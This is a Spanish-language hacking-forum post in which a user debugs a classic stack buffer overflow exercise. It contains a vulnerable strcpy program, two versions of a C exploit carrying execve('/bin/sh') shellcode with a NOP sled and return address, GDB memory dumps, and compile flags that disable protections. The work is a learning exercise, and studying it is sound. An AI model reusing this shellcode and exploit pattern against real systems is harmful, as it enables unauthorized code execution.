comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Problema con un exploit para linux

  • 0 Respuestas
  • 1196 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado proxy_lainux

  • *
  • Underc0der
  • Mensajes: 121
  • Actividad:
    0%
  • Reputación 0
  • belial grimoire
    • Ver Perfil
« en: Septiembre 05, 2013, 04:27:45 pm »
Tengo problemas con un ejercicio de un exploit para linux

Este es el codigo a explotar

Código: C
  1.     #include <stdio.h>
  2.     #include <string.h>
  3.      
  4.     main(int argc, char **argv){
  5.      
  6.        char buffer[80];
  7.        strcpy(buffer, argv[1]);
  8.      
  9.        return 1;
  10.     }

Este es el codigo del exploit

Código: ASM
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<string.h>
  4.  
  5. // shellcode ripped from http://www.milw0rm.com/shellcode/444
  6.  
  7. char shellcode[]=
  8. "\x31\xc0"                      // xorl         %eax,%eax
  9. "\x50"                          // pushl        %eax
  10. "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
  11. "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
  12. "\x89\xe3"                      // movl         %esp,%ebx
  13. "\x99"                          // cltd
  14. "\x52"                          // pushl        %edx
  15. "\x53"                          // pushl        %ebx
  16. "\x89\xe1"                      // movl         %esp,%ecx
  17. "\xb0\x0b"                      // movb         $0xb,%al
  18. "\xcd\x80"                      // int          $0x80
  19. ;
  20.  
  21. char retaddr[] = "\xaa\xaa\xaa\xaa";
  22.  
  23. #define NOP 0x90
  24.  
  25.  
  26. main()
  27. {
  28.        char buffer[96];
  29.  
  30.        memset(buffer, NOP, 96);
  31.  
  32.        memcpy(buffer, "EGG=", 4);
  33.  
  34.        memcpy(buffer+4, shellcode, 24);
  35.  
  36.        memcpy(buffer+88, retaddr, 4);
  37.        memcpy(buffer+92, "\x00\x00\x00\x00", 4);
  38.  
  39.        putenv(buffer);
  40.  
  41.        system("/bin/sh");
  42.  
  43.        return 0;
  44.  
  45. }

Cuando lo compilo, lo depuro con GDB, el objetivo es meter en ret la direccion de inicio donde se encuentra la shellcode y meter en ESP el valor del inicio de la shellcode, asi que sobreescribo el buffer, despues sobreescribo ebp, pero en el codigo de arriba, ret se sobreescribe con x90 y esp+4 se sobreescribe con la direccion de ret

(gdb) x/22xw $esp
0xffffcfe0:   0x00000000   0x0804824c   0xffffffff   0x47488023
0xffffcff0:   0x47462a3c   0xf7ffc3d0   0x474edfd0   0x080482bd
0xffffd000:   0x00010000   0x476061d8   0x0804a000   0x08048492
0xffffd010:   0x00000002   0xffffd0d4   0xffffd0e0   0x474881ad
0xffffd020:   0x476083c4   0x00001000   0x0804844b   0x47608000
0xffffd030:   0x08048440   0x00000000

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0x90909090   0xaaaaaaaa

Este es ret y esp+4

0xffffd030:   0x08048440   0x00000000

y asi queda despues de meter los valores

0xffffd313:   0x90909090   0xaaaaaaaa

Asi que modifique el codigo disminuyendo la cantidad del buffer y quedo asi

Código: C
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<string.h>
  4.  
  5. char shellcode[]=
  6. "\x31\xc0"                      // xorl         %eax,%eax
  7. "\x50"                          // pushl        %eax
  8. "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
  9. "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
  10. "\x89\xe3"                      // movl         %esp,%ebx
  11. "\x99"                          // cltd
  12. "\x52"                          // pushl        %edx
  13. "\x53"                          // pushl        %ebx
  14. "\x89\xe1"                      // movl         %esp,%ecx
  15. "\xb0\x0b"                      // movb         $0xb,%al
  16. "\xcd\x80"                      // int          $0x80
  17. ;
  18.  
  19. char retaddr[] = "\xe0\xcf\xff\xff";
  20.  
  21. #define NOP 0x90
  22.  
  23.  
  24. main()
  25. {
  26.        char buffer[92];
  27.  
  28.        memset(buffer, NOP, 92);
  29.  
  30.        memcpy(buffer, "EGG=", 4);
  31.  
  32.        memcpy(buffer+4, shellcode, 24);
  33.  
  34.        memcpy(buffer+84, retaddr, 4);
  35.        memcpy(buffer+88, "\x00\x00\x00\x00", 4);
  36.  
  37.        putenv(buffer);
  38.  
  39.        system("/bin/sh");
  40.  
  41.        return 0;
  42.  
  43. }
  44.  

pero volviendo a verificar con GDB

(gdb) x/22xw argv[1]
0xffffd2cb:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2db:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2eb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2fb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd30b:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd31b:   0xffffcfe0   0x47445800

de esta forma ret queda con el valor de inicio de la shellcode, pero esp queda un valor distinto a 0x00

0xffffd31b:   0xffffcfe0   0x47445800

Y el problema es que deberia quedar asi

0xffffd31b:   0xffffcfe0   0x00000000

Al principio crei que posiblemente no alcanzaba y tanto aumente nop's como disminui pero nada, entonces se me ocurrio modificar el valor de memcpy de buffer+88

memcpy(buffer+88, "\x90\x90\x90\x90", 4);

entonces lo volvi a depurar y miren

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0xffffcfe0   0x90909090


lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi

0xffffd313:   0xffffcfe0   0x00000000

para que ret avance a la direccion 0xffffcfe0 con el valor 0x00000000

Alguien me podria ayudar a solucionarlo porfavor

tengo desactivado randomize_va_space y enforce de SElinux

y los dos estan compilados con los mismo parametros

gcc -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
« Última modificación: Mayo 31, 2015, 01:38:28 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Crear un archivo .vbs para ejecutar un archivo .bat en invisible

Iniciado por NMS

Respuestas: 2
Vistas: 4984
Último mensaje Marzo 13, 2017, 10:37:57 pm
por sadfud
Cómo uso la "/" para hacer un select en una tabla

Iniciado por tetano32

Respuestas: 3
Vistas: 1047
Último mensaje Diciembre 20, 2017, 04:41:12 pm
por tetano32
allegro 5,opngl,sdk para fan game modo storyboard game

Iniciado por Mr.Tru

Respuestas: 2
Vistas: 432
Último mensaje Mayo 23, 2018, 01:19:20 pm
por Mr.Tru
[SOLUCIONADO] Desencriptacion de una imagen para extraer la imagen original

Iniciado por stuxnet13

Respuestas: 3
Vistas: 1370
Último mensaje Enero 07, 2016, 07:55:01 pm
por blackdrake
[SOLUCIONADO] Ayuda para encontrar "airdecrypt"

Iniciado por Typh0n

Respuestas: 2
Vistas: 3998
Último mensaje Enero 13, 2014, 07:11:18 am
por aika